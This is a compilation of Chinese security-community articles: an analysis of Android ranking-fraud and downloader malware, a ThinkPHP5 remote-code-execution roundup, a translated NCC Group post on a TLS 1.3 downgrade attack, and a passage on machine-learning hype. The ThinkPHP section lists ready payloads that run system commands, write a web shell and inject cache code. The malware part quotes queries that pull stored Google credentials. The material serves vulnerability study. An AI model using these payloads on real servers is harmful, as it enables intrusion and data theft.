## **三、AndroidDaemonFrame.apk“刷榜僵尸”分析**
AndroidDaemonFrame应用是主包解密后植入到系统目录的应用，该应用是一款转用于恶意刷榜的病毒，利用用户设备账户信息作为刷榜僵尸，完成对C&C控制端指定应用的恶意刷榜。“刷榜僵尸”工作流程如下：
图4
1.“刷榜僵尸”C&C控制端配置keywords和package_name。
2.“刷榜僵尸”向googleplay发起认证，通过获取的设备googleplay账号和密码，或authtoken。
\3. 模拟googleplay协议对目标应用搜索、浏览和下载。
刷榜僵尸病毒在设备启动、屏幕解锁和网络改变触发BootReceiver组件执行，随后启动核心服务DispatcherService，该服务创建updateTask和googlePlayTask定时任务。
图5
#####
### **定时任务googlePlayTask**
googlePlayTask每3小时执行一次，对配置文件里的keywords和package_name指定的应用从GooglePlay爬取。下图root提权重定向设备账户文件。
图6
**病毒通过**** GooglePlay ** **验证有两种方式，一使用**** authtoken **，全称authentication
token，有了它病毒无须每次操作都向google服务器发送密码,执行语句：sql.rawQuery("select type,authtoken from
authtokens where type like \'com.android.vending%\' and accounts_id="+
accounts_id, null)；** 二是获取 ** **google**** 账户 ** **name**** 、 **
**password**** 和 ** **_id**** 值。* _执行语句：sql.rawQuery("select_ from accounts
where type = ?", new String []{"com.google"})。如下图。
图7
成功与google play服务器连接后，通过配置文件提供的keywords和package_name完成应用搜索、浏览和下载
图8
当前配置文件如下图，发现病毒正在对package_name是com.felink.shine的应用刷量。
图9
病毒完全模拟google play下载协议，包括设置cookie(AndroidId + authToken)、User-agent(AndroidDownloadManager)等，GooglePlay应用下载请求流程大致如下图（<https://github.com/egirault/googleplay-api/issues/30）：>
图10
“刷榜僵尸”病毒的GooglePlayRequester工具类模拟了以上过程，实现google play商店应用下载。
## **四、子包dexhostinjection.jar**
子包dexhostinjection.jar由assets目录下sdk_data文件解密得到，完成了以下几个功能：
### **4.1 服务保活**
解析主包传递的000(m_pkgname)、001(m_class_name)、002(m_sdk_data)、003(libDaemonProcess)、004(1.apk)参数，利用libDaemonProcess库服务保活，在底层执行am
startservice启动主包传递的service,也就是主包中的com.hostinjectionmain.control.DexService。如下图。
图11
### **4.2 下载“下载者”病毒**
主包004参数传递的应用名，并拷贝到设备sdcard/database目录命名为5supdate.apk，同时配置“下载者”病毒相关文件，存放目录在sdcard/database目录下。包括actiondown记录包名以及启动服务名、actionsuk应用最近一次运行时间、install.ab服务器推广应用安装情况、mychannel应用渠道，这些文件数据全部都AES加密存放。Actiondown记录下载者病毒包名以及入口服务。
actiondown:{"downLoadPackageName":"com.android.ucgmap","downLoadVersionKey":1,"downLoadStartMethod":"com.android.ucgmap\/com.android.ucgmap.AimService”}
### **4.3 诱骗用户安装，并启动“下载者”病毒**
子包动态注册监听android.intent.action.PACKAGE_ADDED、android.intent.action.USER_PRESENT消息广播。处理包安装完毕消息，若此次安装包名是actiondown里downLoadPackageName字段记录的“下载者”病毒，读取downLoadStartMethod字段启动“下载者”。
图12
**使用两种策略诱骗用户安装“下载者”病毒(其应用名为update)，一默认模式以应用更新诱骗用户点击安装；二由服务器设置，弹出系统更新诱骗用户点击安装。**
图13
#####
### **4.4 子包自更新**
子包的连接并不是直接暴露的，而是做了两层跳板。配置下一跳转访问地址<http://dispatch.smartchoiceads.com/v2.1/2000>，参数设备aid、imsi、gaid、mac(wifi)，request和response数据全部AES加密。服务端会根据上传的设备信息返回次设备对应的url地址，随后设备会使用该地址下载服务端推广的应用。
**下图访问url_1(<http://dispatch.smartchoiceads.com/v2.1/2000)返回加密的数据，经AES解密提取data值获取当前设备的对应访问的服务器地址url_2。>**
图14
解密后的数据为：{"upstream":"http:\/\/sdk.smartchoiceads.com"}，这样获取了下一跳板的地址。
访问跳板地址，下载、加载和运行最新版子包。 访问服务器配置的url_2，服务器同样返回AES加密数据，解密后的数据如下：
{"solib_name":"libDaemonProcess.so","download_url":"http:\/\/u.smartchoiceads.com\/sdk\/HostDex_20160623163035.jar","classname":
"com.hostinjectiondex.external.ExternalInterfaces","filename":"dexhostinjection.jar","start_method":
"startExternalBody","solib_url":"http:\/\/u.smartchoiceads.com\/sdk\/libDaemonProcess_20160520175142.so","stop_method":
"stopExternalBody","request_interval":"1800","version":"8"}。
根据解密获取的字段，下载新版本的dexhostinjection.jar包，以及lib库，目前服务器最新版本dexhostinjection_8.jar。子包通过向主包的DexService发送com.injection.action.RELOAD_DEX消息意图，完成子包更新加载。
图15
## **五、“下载者”分析**
子包dexhostinject.jar下载的5supdate.apk存放位置在sdcard/database目录下，既是“下载者”病毒安装包，通过应用更新或系统更新诱骗用户安装，安装后dexhostinject.jar启动“下载者”导出服务AimService。“下载者”病毒工作流程图如下：
图16
#####
### **5.1 ChatActivity组件，强制激活设备管理**
dexhostinject.jar启动应用的参数会唤起ChatActivity组件运行。ChatActivity进行设备管理激活，一旦用户激活设备管理，应用将很难被卸载。用户在取消截获设备管理时，AdminReciver会进行锁屏操作并跳转到桌面。
图17
### **5.2 组件AimService**
1.加载target.jar子包，保护“下载者”核心服务AimService不死
2.启动ApsService，组件ApsService是云端推送服务，注册时钟广播每10分钟发送广播转交给ApsAdReceiver处理
图18
3.onStartCommand处理消息意图，包括：
a）com.injection.action.RELOAD_DEX，更新target.jar子包；
b）com.injection.action.stopJobService，停止JobScheduler并进程自杀；
c）-a com.android.startadmin --es isadmin
true，唤起ChatActivity组件，进行激活设备管理。该意图消息是dexhostinject.jar发送给AimService的。
### **5.3“下载者”应用推送分析**
应用下载、安装和启动由ApsService和ApsAdReceiver联合完成。当update应用处于后台运行，并且屏幕处于亮起状态，“下载者”向C&C服务器发起请求，下图访问C&C控制。
图19
“下载者”病毒会每隔10分钟访问<http://www.gamecpi.com/tapcash/com.android.ucgmap/control.json，返回数据结构如下。>
{
"isOpened":true,
"isOpenHideNativeAd":true,
"fid":"",
"fnid":"558734714274962_641985812616518",
"aid":"ca-app-pub-2499265864844132/2514086206",
"bnid":660078,
"solaid":5011,
"soltid":1000171,
"ad_interval":10,
"no_ad_start":0,
"no_ad_end":6
}
该数据结构信息是当前推广应用的信息，随后通过消息handler转交给startAdWork函数处理。
图20
每隔120分钟请求控制端下载推广应用，[http://www.gamescpa.com/SDKManager/cpa/downloadlink.php?country=cn&packageName=com.android.ucgmap，C&C控制端返回推送的应用信息，包括packgae(应用包名)、url(应用下载链接)、size(应用大小)，返回数据转交给消息handler处理，进行应用下载安装。](http://www.gamescpa.com/SDKManager/cpa/downloadlink.php?country=cn&packageName=com.android.ucgmap，C&C控制端返回推送的应用信息，包括packgae\(应用包名\)、url\(应用下载链接\)、size\(应用大小\)，返回数据转交给消息handler处理，进行应用下载安装。)
图21
再配合之前注册的时钟广播ApsAdReceiver，完美完成推广应用启动。
图22
##
## **六、 病毒sha1:**
01b3e575791642278b7decf70f5783ecd638564d
5900fabbe36e71933b3c739ec62ba89ac15f5453
7ebdd80761813da708bad3325b098dac9fa6e4f5
ea781498268ced8dbb892d02aeaad23f4b87a510
44e81be6f7242be77582671d6a11de7e33d19aca
34b7b38ce1ccdd899ae14b15dd83241584cee32b
74a55e9ea67d5baf90c1ad231e02f6183195e564
4e5af777fe28f450a670e789b23fb3669dc6e6b6
d59f97297de38db7f85349c9486413e914ff35b5
b219db613284a3dd0e87edea67da744be59e7732
9b9109ecfa38d9664084a513392ffc3f41349f02
2b1da376212e63cb25a19900642c4bbca6e49c01
18d9546193a354aec0c76d141dd66fbf99181bad
63c20ee3c1e1b39921d2b3d86aade39de738ea9b
5d2a08d7c1f665ea3affa7f9607601ffae387e8b
70105591ea9f2b42534062278f31dbf9788575b3
34b7b38ce1ccdd899ae14b15dd83241584cee32b
78e9c7e0510b0c28abf28dd46910ab14c56ab4df
88745ecb3114fc0539ca05db388e1c77d3e76109
885fe0dca39d0fe281aad78cbce2fb73f27f3aea
50bdc0195ed3c6f9909e62d4926f26d312cc39fa
## **七、总结**
该病毒应用通过版本更新，进行恶意版本下发，在完成“刷榜僵尸”和“下载者”病毒后又利用版本更新替换成线上安全版本，如此在各大应用市场上期存活。阿里移动安全同学建议，用户下载此类App请认准大厂商品牌应用;谨慎点击软件内的推送广告；来源不明的应用不要随意点击；请定期使用阿里钱盾等手机安全软件查杀病毒。 | 社区文章 |
## 缓存类RCE
* 版本
_5.0.0 <=ThinkPHP5<=5.0.10_
* Tp框架搭建
* 环境搭建
* 测试payload
?username=syst1m%0d%0a@eval($_GET[_]);//
_可以看到已经写入了缓存_
### 漏洞分析
* thinkphp/library/think/Cache.php:126
_先跟踪一下Cache类的set方法_
* thinkphp/library/think/Cache.php:63
_跟踪一下init方法，这里的self::$handler默认值是File，为think\cache\driver\File 类实例_
* thinkphp/library/think/Cache.php:36
_跟进connect方法_
_先打印一下options内容_
array (size=4)
'type' => string 'File' (length=4)
'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)
'prefix' => string '' (length=0)
'expire' => int 0
_type为file，先赋值一个$name，class为\think\cache\driver\File_
* thinkphp/library/think/cache/driver/File.php:137
_跟踪一下File类的set方法_
* thinkphp/library/think/cache/driver/File.php:67
_跟进文件名生成方法，程序先获得键名的 md5 值，然后将该 md5 值的前 2 个字符作为缓存子目录，后 30 字符作为缓存文件名。_
_$data变量为序列化的值，没有进行过滤直接将内容写进了缓存，前面有//注释符，可以通过注入换行符绕过该限制。_
## 未开启强制路由导致rce
* 影响版本
**5.0.7 <=ThinkPHP<=5.0.22**
* payload
**5.1.x ：**
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
**5.0.x ：**
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
* 环境搭建
* 测试payload
index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
### 漏洞分析
_默认情况下安装的 ThinkPHP 是没有开启强制路由选项，而且默认开启路由兼容模式_
**?s=模块/控制器/方法 所有用户参数都会经过 Request 类的 input 方法处理，该方法会调用 filterValue 方法，而
filterValue 方法中使用了 call_user_func,尝试利用这个方法。访问如下链接**
* _?s=index/\think\Request/input &filter[]=system&data=whoami_
* thinkphp/library/think/route/dispatch/Module.php:70
_于获取控制器点打断点_
_程序会跳到thinkphp/library/think/App.php的run方法，在路由检测地打个断点，重新请求_
* thinkphp/library/think/App.php:583
_于routeCheck方法对路由进行了检测，_
thinkphp/library/think/route/dispatch/Url.php:23
_出来的dispatch为index|\think\Request|input，将\替换成了|，然后进入init方法_
* thinkphp/library/think/App.php:402
_经过路由检测之后的dispatch为：_
* thinkphp/library/think/App.php:431
* thinkphp/library/think/route/Dispatch.php:168
_跟进Dispatch类的run方法_
* thinkphp/library/think/route/dispatch/Module.php:84
_执行exec函数，跟进函数_
_利用反射机制，调用类的方法_
* thinkphp/library/think/Container.php:391
* thinkphp/library/think/Request.php:1358
_进入input()，$this- >filterValue()处理_
* thinkphp/library/think/Request.php:1437
_跟进后执行call_user_func()，实现rce_
## method任意调用方法导致rce
* 版本
_5.0.0 <=ThinkPHP5<=5.0.23_
* 环境搭建
* 测试payload
### 漏洞分析
* thinkphp/library/think/Request.php:524
_$method 来自可控的 $_POST 数组，而且在获取之后没有进行任何检查，直接把它作为 Request
类的方法进行调用，同时，该方法传入的参数是可控数据 $_POST，可以随意调用 Request 类的部分方法。_
* 搜索var_method，值为_method
* thinkphp/library/think/Request.php:135
_查看request类的__construct方法,可以覆盖类属性，那么我们可以通过覆盖Request类的属性._
* thinkphp/library/think/App.php:126
_如果开启了debug，则调用$request- >param()方法，_
* thinkphp/library/think/Request.php:637
_跟进param方法，发现调用了$this- >method_
* thinkphp/library/think/Request.php:862
_跟踪到server方法，把$this- >server 传入了 input 方法，这个this->server 的值，我们可以通过先前 Request
类的 **construct 方法来覆盖赋值，filter 的值部分来自 this- >filter ，又是可以通过先前 Request 类的
**construct 方法来覆盖赋值_
* thinkphp/library/think/Request.php:1034
_进入input方法的filterValue，进入call_user_func回调，造成RCE漏洞的产生_
#### 如果没有开启debug
* thinkphp/library/think/App.php:445
_在exec方法中，当$dispatch['type']等于method或者controller时候，也会调用param()方法_
* thinkphp/library/think/Route.php:918
_dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址方式_
_只要是存在的路由就可以使dispatch['type']成立，而在 ThinkPHP5
完整版中，定义了验证码类的路由地址?s=captcha，默认这个方法就能使$dispatch=method从而进入Request::instance()->param()，使条件成立。_
* poc
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
## 参考
[Thinkphp5 RCE总结](https://y4er.com/post/thinkphp5-rce/) | 社区文章 |
# 分析TLS 1.3降级攻击以及主要TLS库中的漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 nccgroup，文章来源：nccgroup.trust
原文地址：<https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2019/february/downgrade-attack-on-tls-1.3-and-vulnerabilities-in-major-tls-libraries/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在2018年11月30日，我们披露了CVE-2018-12404、CVE-2018-19608、CVE-2018-16868、CVE-2018-16869和CVE-2018-16870这五个漏洞，这些都是2018年8月在几个TLS库中发现的漏洞。
在5月15日，我找到了Yuval Yarom，与他讨论我在一些TLS实现中发现的问题。在此之后，我开始与Eyal Ronen、Robert
Gillham、Daniel Genkin、Adi Shamir、Yuval Yarom展开合作，并由Eyal
Ronen牵头。我们的研究成果已经在这里发表： <https://eprint.iacr.org/2018/1173>
。正如大家所看到的那样，目前RSA的发明者本人建议大家在TLS中弃用RSA。
我们针对9种不同的TLS实现，尝试进行了缓存攻击测试，测试结果表明，其中7种TLS实现易受攻击，它们分别是：OpenSSL、Amazon
s2n、MbedTLS、Apple CoreTLS、Mozilla NSS、WolfSSL和GnuTLS。BearSSL（由我的同事Thomas
Pornin开发）和Google的BoringSSL经测试是安全的，因此还剩下两员大将，并没有全军覆没。
我们的攻击方式是针对这些实现的缓存访问时序利用侧信道泄漏，从而攻破TLS实现的RSA密钥交换。从多个角度来看，这次的攻击都很有意思（在这里先不提它影响了许多主要的TLS实现）：
1、该攻击影响所有版本的TLS（包括TLS 1.3）和QUIC。后面版本的TLS甚至不提供RSA密钥交换。由于这是对TLS
1.3目前唯一的已知降级攻击，因此还是非常关键的。
2、该攻击使用了最新的缓存攻击技术。其中所使用的技术包含Flush+Reload攻击、Prime+Probe攻击和分支预测（Branch-Predition）技术。
3、该攻击效果非常显著。我们找到了一种方法，能够针对任何浏览器进行攻击，减慢其中一些浏览器的运行速度，或者使用长尾分布（Long Tail
Distribution）重复尝试攻破会话（Session）。我们甚至利用了格子框架（Lattices）来加速这一攻击过程。
4、针对RSA PKCS#1 v1.5利用Manger和Ben-Or的攻击方式。你听说过Bleichenbacher的百万条消息攻击吗？实际上，我们发现了一种更好的攻击方式。我们针对RSA PKCS#1
v1.5利用Manger的OAEP攻击和Ben-Or提出的算法，这种算法比1998年Bleichenbacher提出的方法要更加有效。我在这里上传了部分代码：
<https://github.com/mimoo/RSA_PKCS1v1_5_attacks> 。
要了解有关该研究的更多信息，请阅读我们的白皮书： <http://cat.eyalro.net/> 。在本文中，我将主要讨论协议级别的漏洞利用。
## RSA攻击方法的起源
尽管Ben-Or等人的研究最初是作为支撑RSA安全性的证据，但在他们的研究成果中，还概述了针对协议的攻击方式。十五年后，在1998年，Daniel
Bleichenbacher发现了一种Padding
Oracle攻击方法，并设计了一种针对RSA的独特而实际的攻击方式。其后果十分严重，大多数TLS实现都有被攻击的风险，因此人们又提出了一些缓解措施，旨在防范Daniel提出的攻击方式。经过人们不断的研究，又有一系列攻击方法被接连提出，人们开始意识到，要针对所有攻击方法实现缓解并不是一件易事：
1、Bleichenbacher（CRYPTO 1998），也被称为百万消息攻击、BB98、针对PKCS#1 v1.5的Padding Oracle攻击：
<http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf>
2、Klima（CHES 2003）：
<https://eprint.iacr.org/2003/052>
3、Bleichenbacher提出的第二种攻击方法：在XML加密中攻破PKCS#1 v1.5：
<https://www.nds.rub.de/media/nds/veroeffentlichungen/2012/12/19/XMLencBleichenbacher.pdf>
4、Degabriele团队（CT-RSA 2012）：
<https://eprint.iacr.org/2011/615.pdf>
5、Bardou团队（CRYPTO 2012）：
<https://eprint.iacr.org/2012/417>
6、PaaS云中跨租户侧信道攻击（CCS 2014）：
<https://www.cs.unc.edu/~reiter/papers/2014/CCS1.pdf>
7、重新审视SSL/TLS实现：新的Bleichenbacher侧信道攻击（USENIX 2014）：
<https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/meyer>
8、论TLS 1.3和QUIC的安全性以及PKCS#1 v1.5加密的弱点（CCS 2015）：
<https://www.nds.rub.de/media/nds/veroeffentlichungen/2015/08/21/Tls13QuicAttacks.pdf>
9、DROWN（USENIX 2016）：
<https://drownattack.com/>
10、Bleichenbacher的Oracle威胁的回归（USENIX 2018）：
<https://robotattack.org/>
11、密钥重用的风险：对Ipsec IKE的实际攻击（USENIX 2018）：
<https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-felsch.pdf>
让我们来面对现实，开发人员提出的缓解措施其实是不切实际的。此外，我们发现，尝试缓解此类攻击的实现实际上有助于攻击。这一点非常好笑。
我今天所讨论的研究成果，可以被视为这些“重新发现”的其中之一。我前老板的老板（Scott
Stender）曾跟我说：“你可以写出针对某个领域的第一篇论文、最好的一篇论文，或者是最后一篇论文。”我们肯定不是第一篇，好不好也不知道，但我们肯定是希望能成为最后一篇。
## RSA和TLS
简而言之，SSL/TLS（除1.3版本之外）可以在握手期间使用RSA密钥交换来协商共享秘钥（Shared
Secret）。RSA密钥交换非常简单：客户端使用服务器的RSA公钥加密共享秘钥，然后服务器接收并对其进行解密。如果我们可以通过某种攻击方式来解密此值，那么我们就可以被动地解密会话（例如：获取Cookie），或者我们可以主动地模仿其中一端。
## 实践篇：攻击浏览器
我们使用BEAST攻击模型（与目标服务器共存以进行缓存攻击），我此前已经在视频中对这种攻击方式进行过解释：
<https://cryptologie.net/article/413/beast-an-explanation-of-the-cbc-attack-on-tls/>
在此之后，我们尝试解密目标客户端（Bob）和bank.com之间的会话：我们可以通过一些JavaScript内容为他提供服务，这些JavaScript内容将会在bank.com上不断尝试新的连接。如果没有尝试新的连接，那我们可以通过使当前的连接失败来强制进行，因为我们处在一个中间人的位置。
为什么会有几个连接，而不是一个？因为大多数浏览器（除了我们可以欺骗的Firefox之外）都会在一段时间后（通常是30秒）返回超时。如果两个对等体之间协商RSA密钥交换，那么没问题，我们可以持续等待对协议进行被动攻击。但如果两个对等体未协商RSA密钥交换，那么我们就需要主动攻击会话，从而实现降级或伪造服务器的RSA签名（稍后会详细介绍）。这需要时间，因为攻击过程要求我们向服务器发送数千条消息。这一攻击也可能会失败。但是，如果我们可以多次尝试，经过几次实验后，成功的概率也会随之上升。因此，这就是我们不断向bank.com发送连接尝试的原因。
## 攻击TLS 1.3
有两种攻击TLS 1.3的方法。在每次攻击中，服务器也需要支持旧版本的协议。
第一种方法依赖于以下事实：当前服务器的公钥是RSA公钥，用于在握手期间签名临时密钥，以及服务器支持的旧版本TLS重用相同的密钥。
第二种方法依赖于以下事实：两个对等体都支持具有支持RSA密钥交换的Cipher Suite的旧版本TLS。
尽管TLS
1.3不使用RSA加密算法进行密钥交换，但它确实使用了RSA的签名算法。如果服务器的证书包含RSA弓腰，那么它将会用于在握手期间对其短暂的公钥进行签名。TLS
1.3客户端可以在RSA和RSA-PS之间通告它想要支持的RSA签名算法（如果存在）。由于大多数TLS
1.2服务器已经支持RSA，，因此大多数服务器会重新使用其证书，而不是更新到最近的RSA-PSS。根据标准指定的RSA数字签名非常接近于同一文档指定的RSA加密算法，因此Bleichenbacher对RSA加密算法的解密攻击也非常接近于伪造RSA签名。从直觉上来看，我们已经有了pmse和解密攻击方法，可以允许我们找到(pms^e)^d=pms。我们可以假设要签名的内容tbs（参考RFC
8446）为tbs =
pmse，并通过攻击获得tbsd，根据定义来看，它是消息tbs的签名。然而，这种签名伪造方式需要在传统Bleichenbacher攻击的基础之上附加额外的步骤（盲操作）。在实际中，可能会产生数十万条额外的消息。
在此前（ <https://drownattack.com/>
），我们已经展示了密钥重用的方法，可以允许针对TLS进行复杂的跨协议攻击。实际上，我们可以通过与同一服务器协商先前版本的TLS，成功伪造我们自己的握手记录签名（包含在CertificateVerify消息中）。如果新的连接使用相同的RSA密钥证书来进行密钥交换，那么就将暴露其长度或允许Bieichenbacher
Oracle攻击。
## 降级至TLS 1.2
每个TLS连接都以协商TLS版本和其他连接属性开始。由于新版本的TLS（1.3）不提供RSA密钥交换，因此我们要想利用这种攻击方式，必须先降级到较旧版本的TLS。TLS
1.3是相对较新的（2018年8月），支持它的大多数服务器也都支持旧版本的TLS（它们都支持RSA密钥交换）。因此，不支持TLS
1.3的服务器将使用较旧版本TLS（在我们的示例中为TLS 1.2）serverHello消息进行响应。
要降级客户端的连接尝试，我们可以简单地进行服务器欺骗（Spoof）。除了协议降级之外，还有其他技术能够迫使浏览器客户端回退到较旧的TLS版本，包括：网络故障、欺骗性TCP
RST数据包、缺少响应等。请参见POODLE： <https://www.openssl.org/~bodo/ssl-poodle.pdf> 。
继续使用欺骗性的TLS
1.2握手，我们可以简单地在ServerCertificate消息中显示服务器的RSA证书，然后使用ServerHelloDone消息结束握手。此时，如果服务器没有允许RSA密钥交换的可信证书，或者客户端拒绝支持RSA密钥交换，或者使用了比TLS
1.2更早的版本，那么就都将会停止攻击。否则，客户端使用证书中包含的RSA公钥来加密TLS预备主秘钥（TLS Premaster
Secret），将其发送到ClientKeyExchange消息中，并使用ChangeCipherSpec和Finished消息结束其握手部分。
此时，我们需要执行攻击，以解密RSA加密的预备主秘钥。我们发送的最后一条Finished消息中必须包含整个记录的认证标志（使用HMAC），此外还使用从预备主秘钥派生出来的传输密钥（Transport
Keys）进行加密。尽管有些客户端没有握手超时这一设置，但如果我们的响应花费太久时间，大多数严格的应用程序（例如浏览器）都会放弃连接的尝试。尽管看起来这种攻击只需要几千条消息，但在实际上可能数量还是太多。但幸运的是，有几种技术能帮助我们减慢握手的速度：
1、发送可能重置客户端计时器的ChangeCipherSpec消息；
2、发送TLS警告来重置握手计时器。
一旦解密攻击被终止，我们就可以将预期的Finished消息发送给客户端并完成握手。在那里，一切皆有可能，从被动观察消息到模拟服务器，再到主动篡改其请求。这种降级攻击绕过了多个降级缓解措施：一个服务器端和两个客户端。协商旧版TLS的TLS
1.3服务器必须将此信息通告给它的对等体。这是通过将ServerHello消息中server_random字段的四分之一字节设置为已知值来实现的（
<https://tools.ietf.org/html/rfc8446#section-4.1.3> ）。最终协商旧版TLS的TLS
1.3客户端必须检查这些值是否存在，如果找到就要中止握手。但正如RFC中所述，“当使用静态RSA时，不会提供降级保护。”由于我们更改了这个值并删除了警告的字节，所以客户端没有机会检测到我们的攻击。另一方面，最终回到旧版本TLS的TLS
1.3客户端必须在其后续客户端中通告此信息（ <https://tools.ietf.org/html/rfc7507>
），因为我们冒充了服务器，所以就可以忽略此警告。此外，客户端还包括加密的预备主秘钥的client
hello使用的版本。由于和上面相同的原因，这种缓解对我们的攻击没有影响。目前，RSA是对TLS
1.3唯一的已知降级攻击，我们是第一个成功对此研究成果进行漏洞利用的研究人员。
## 攻击TLS 1.2
与之前的攻击一样，客户端和目标服务器都需要支持RSA密钥交换。由于这是典型的密钥交换，大多数已知的浏览器和服务器都对其支持，尽管它们通常更喜欢使用Elliptic
Curve或Finite Field Diffie-Hellman密钥交换来协商前向密钥交换。这是在前两次握手消息期间作为Cipher
Suite的一部分完成的。为了避免这种结果，我们可以拦截并修改ClientHello消息，避免在进行任何非RSA的密钥交换。然后，服务器就会仅从一组基于RSA密钥交换的Cipher
Suite中进行选择，这允许我们执行前文所述的攻击。我们对ClientHello消息的修改，只能通过完成消息验证正确的握手记录来检测，但由于我们控制了这一消息，所以可以伪造想要的标志。
另一方面，如果两个对等体最终都在自行协商rSA密钥交换，我们可以被动地观察连接，并花费时间来攻破会话。
## 总结
对于每一个发现的漏洞，实际上都有三种论文：最早披露的论文、关于该漏洞的最佳说明、最后一篇论文。我们希望这篇能够成为最后一篇论文。在1998年Bleichenbacher研究了RSA
PKCS#1
v1.5加密方案的安全性之后，20年来，人们不断尝试新的攻击思路。尽管我们的文章中推荐了一系列的缓解方案，但现在是时候宣布：我们不建议使用RSA
PKCS#1 v1.5，而建议选择更加现代的方案，例如非对称加密的OAEP和ECEIS，或者用于密钥交换的Elliptic Curve Diffie-Hellman。最后，我们注意到TLS的无密钥实现（Keyless）是一个有吸引力的目标，但由于是闭源的，因此我们在此次分析中没有涉及。 | 社区文章 |
# 【安全科普】你的机器究竟在学什么？
|
##### 译文声明
本文是翻译文章，文章来源：securityweek.com
原文地址：<http://www.securityweek.com/what-does-your-machine-actually-learn>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[360代码卫士](http://bobao.360.cn/member/contribute?uid=2873043487)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**机器学习 &人工智能风头正劲**
人工智能预示着我们将进入一个全新的世界，可以凭借数字化实现所有的梦想。并且人工智能可以辞退烦人的员工，不用理会他们的肉身需求和期望。很遗憾，目前人工智能发现的现状，更像是一次大肆宣扬式营销的过度承诺。而更加残酷的真相是，人工智能
(AI) 就像是在马戏团中跳舞的狗熊，我们并不是因为狗熊跳舞跳得好而兴高采烈，而是因为狗熊竟然跳舞了。
要理解这一点，可以看看高德纳发布的《新兴技术炒作周期》报告，高德纳将“每家公司都假装是一家AI公司的这种疯狂行为”比作是“[漂绿](https://baike.so.com/doc/5663616-5876272.html)”——每家公司都自我标榜为具有环境意识和环境友好的公司。机器学习正处于“
**过热期** ”的顶峰，而过热期之后就是“ **幻灭期**
”。所有熟悉AI历史的人都知道，每一次，AI都因无法兑现诺言和缺乏资金支持而多次失败，目前我们现在正处于第五个AI时代。
当然，这并不是说当前的一大波机器学习技术没有给我们带来任何裨益。我们这样讲是为了理解机器学习更适合于解决哪些问题以及它的局限性在哪里。遗憾的是，要理解这一点需要一名数学或物理博士或者说AI博士才能搞清楚。
对于其他人而言，我们可以通过咨询机器学习厂商一些基本的问题，来判断他们是否真的理解机器学习的精髓，还是在浪费CPU周期只为了看起来很酷？
**你的机器在学习什么？**
这个问题看似显而易见，但你会吃惊于有那么多厂商在努力地给出一个合乎逻辑的答案。
**首先，它真的在学习东西吗？** 之所以这么说是因为我（指作者）在高德纳工作时发现很多厂商误将更基础的分析和计算方法如数据分析或关联营销称机器学习。
**其次，如果它确实在学习东西，那么是如何记住所需东西并且它是如何重播所学东西的呢？**
**从哪里学习？**
它是在实验室还是你的环境中学习？
**在实验室学习** 意味着学习模型或分析不会基于你独特的资料如数据、基础设施或环境；它还意味着机器不会自动意识到或者适应在专为你分析的数据中产生的变化。
**在你的环境中学习** 意味着机器和所产生的模型或分析会基于你具体的环境而且学着适应于你的组织机构。
如果是集合了两者，则是完全可以接受的。机器学习能解决的某些问题由多个组件组成，例如首次学着理解如何检测攻击，然后从你的环境中学习来设置一个正常的基线。但是只在实验室中学习存在两种内在弱点——除非它是一种非常具体和狭窄的问题（例如识别猫），它会很艰难地处理真实世界书局的多样性和复杂性，而且你对它所学到的东西几乎没有什么控制和洞见，将其变为一个黑匣子，你无法评估其中的输入。
这个问题还有另外一个考量面，即它是在你的环境中就地学习还是它把数据发送到云中学习？
**如何学习？**
所有声称涉及机器学习的厂商都应该能够提供一份他们所遵循的机器学习方式的高级概览。这里的关键字是“受监控的”、“未受监控的”、“增强型的”以及高级算法说明。如果他们无法通过一张漂亮的速查表确定这一点，那么我建议你避而远之。了解厂商所使用的方式在最好的情况下能进行进一步的研究和评估这是否是正在试图解决的问题的正确算法，在最糟糕的情况下它显示出厂商至少知道他们自己的机器学习在做什么。
某些厂商可能会对这个问题避而远之，他们的借口是“这是专利/商业机密”。这种借口毫无意义，毕竟所问的并非算法执行的详细数学细节。我从未见过发明一种新的之前未曾出现过的方法。认真可信的厂商会告诉你答案。很多厂商不过是采用了现成算法并实现了跟那些宣称超自然的特有的实现方法的相似结果。如果有人说已对已有方法做出改进，那就问问他是如何实现的。
**为何学习？**
为什么会学习某种具体的数据？为何会采用某种具体方法？可以应用很多种不同的算法和方式。比如，集群分析会基于相似属性对某组对象进行归类，因此它可用于自动识别具有相似功能或配置的组或主机或用户，并且能够判断这些组之间的区别。
任何厂商都应该能够解释为何他们会选择某种具体的方法，以及为何他们会选A而非B。他们可能更偏好于准确性而非速度，反之亦然；而且他们应该能够解释为何准确性没那么重要或者说将速度排在更优先的级别。
**解决了什么问题？**
机器学习可以解决什么问题呢？下面是一些简单的标准：
**它解决的问题如果使用不太复杂的方法解决不了吗？或者说用其它方法解决可行性低或者效率低？**
这个问题起着重要作用，而且旨在识别无谓的机器学习。最好的例子就是很多UEBA厂商都在炫耀的东西即识别出用户是否同时在不同的地方登陆。这个问题其实并不需要机器学习也能解决。简单的关联就足够了：用户A使用IP-Address X和Y访问系统Z，而一些SIEM多年前就能够做到这一点。
**它是否解决了多个问题？**
还是说它不过是“雨人（本意是罹患自闭症但在某方面具有天才的人群）”式的机器学习。从金钱成本、时间、投入精力和基础架构方面考虑，看它解决的是单一问题（这个问题最好是个重大问题）如治疗癌症。
